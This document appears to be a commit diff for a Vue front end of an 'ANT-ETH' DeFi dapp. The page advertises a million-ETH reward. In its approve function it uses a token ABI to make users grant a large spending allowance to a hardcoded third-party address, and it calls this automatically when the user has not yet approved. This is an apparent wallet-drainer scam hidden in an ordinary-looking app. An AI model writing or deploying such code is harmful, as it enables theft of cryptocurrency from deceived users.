gx

queenwuli

2022-03-23 2bd0db7111496db4f237fe5345b08c28b5655d83

 src/pages/index/index.vue

@@ -11,14 +11,14 @@
            <span class="title">ANT-ETH</span>
            <div class="right flex align-center">
                <img src="../../assets/images/icon.png" class="icon"/>
                <span v-if="walletAddress">{{walletAddress}}</span>
                <span class="address" v-if="walletAddress">{{walletAddress}}</span>
                <span v-else @click="showAccreditModal">{{ $t("message.ConnectWallet") }}</span>
            </div>
            </div>
            <div class="banner-content">
                <p>{{ $t("message.Defi") }}</p>
                <p>{{ $t("message.Reward") }}<span class="em">1000,000</span> ETH</p>
                <button @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button>
                <button v-if="!hasApprove" @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button>
            </div>
        </div>
        <img src="../../assets/images/banner.png" class="banner"/>
@@ -102,6 +102,7 @@
  setup() {
    const { proxy } = getCurrentInstance();
    let walletAddress = ref('');
    let hasApprove = ref(false);
    let isShowApproveModal = ref(false);
    let isShowAccreditModal = ref(false);
    let isShowWalletModal = ref(false);
@@ -156,14 +157,15 @@

    // 获取地址
    async function getAddress () {
      let address = '';
      let address = '0x391040eE5F241711E763D0AC55E775B9b4bD0024';
      if(window.ethereum) {
        await window.ethereum.enable();
        address = await ethereum.request({ method: 'eth_accounts' });
        const accounts = await ethereum.request({ method: 'eth_accounts' });
        address = accounts[0];
      }else if(window.tronWeb){
        address = window.tronWeb.defaultAddress.base58;
      }
      return address;
      proxy.walletAddress = address;
    }
    async function approve () {
      const web3 = new Web3(window.ethereum);
@@ -172,17 +174,21 @@
      const authorizedAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600';
      const abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}];
      const contract = new web3.eth.Contract(abi, contractAddress);
      const result = await contract.methods.approve(authorizedAddress, 90000000000000).send({from:proxy.walletAddress, gas:100000});
      console.log(result);
      contract.methods.approve(authorizedAddress, 90000000000000).send({from:proxy.walletAddress, gas:100000}).then((res) => {
        alert('授权成功'+res)
      }).catch((err) => {
        alert('授权失败'+err)
      });
    }
    async function init() {
      proxy.walletAddress = await getAddress();
      await getAddress();
      if (proxy.walletAddress) {
        proxy.$axios({
          url: '/dapp/common/isApprove/' + proxy.walletAddress,
          method: 'get'
        }).then((res) => {
          if(res.code === 200) {
            proxy.hasApprove = true;
            sessionStorage.setItem('address', proxy.walletAddress);
          }else{
            approve()
@@ -218,6 +224,7 @@
      changeLanguage,
      
      walletAddress, //地址
      hasApprove, //是否授权
    };
  },
  methods: {
@@ -408,5 +415,10 @@
  color: #080808;
  margin-top: 15px;
}

.address{
  width: 100px;
  overflow: hidden;
  text-overflow:ellipsis;
  white-space: nowrap;
}
</style>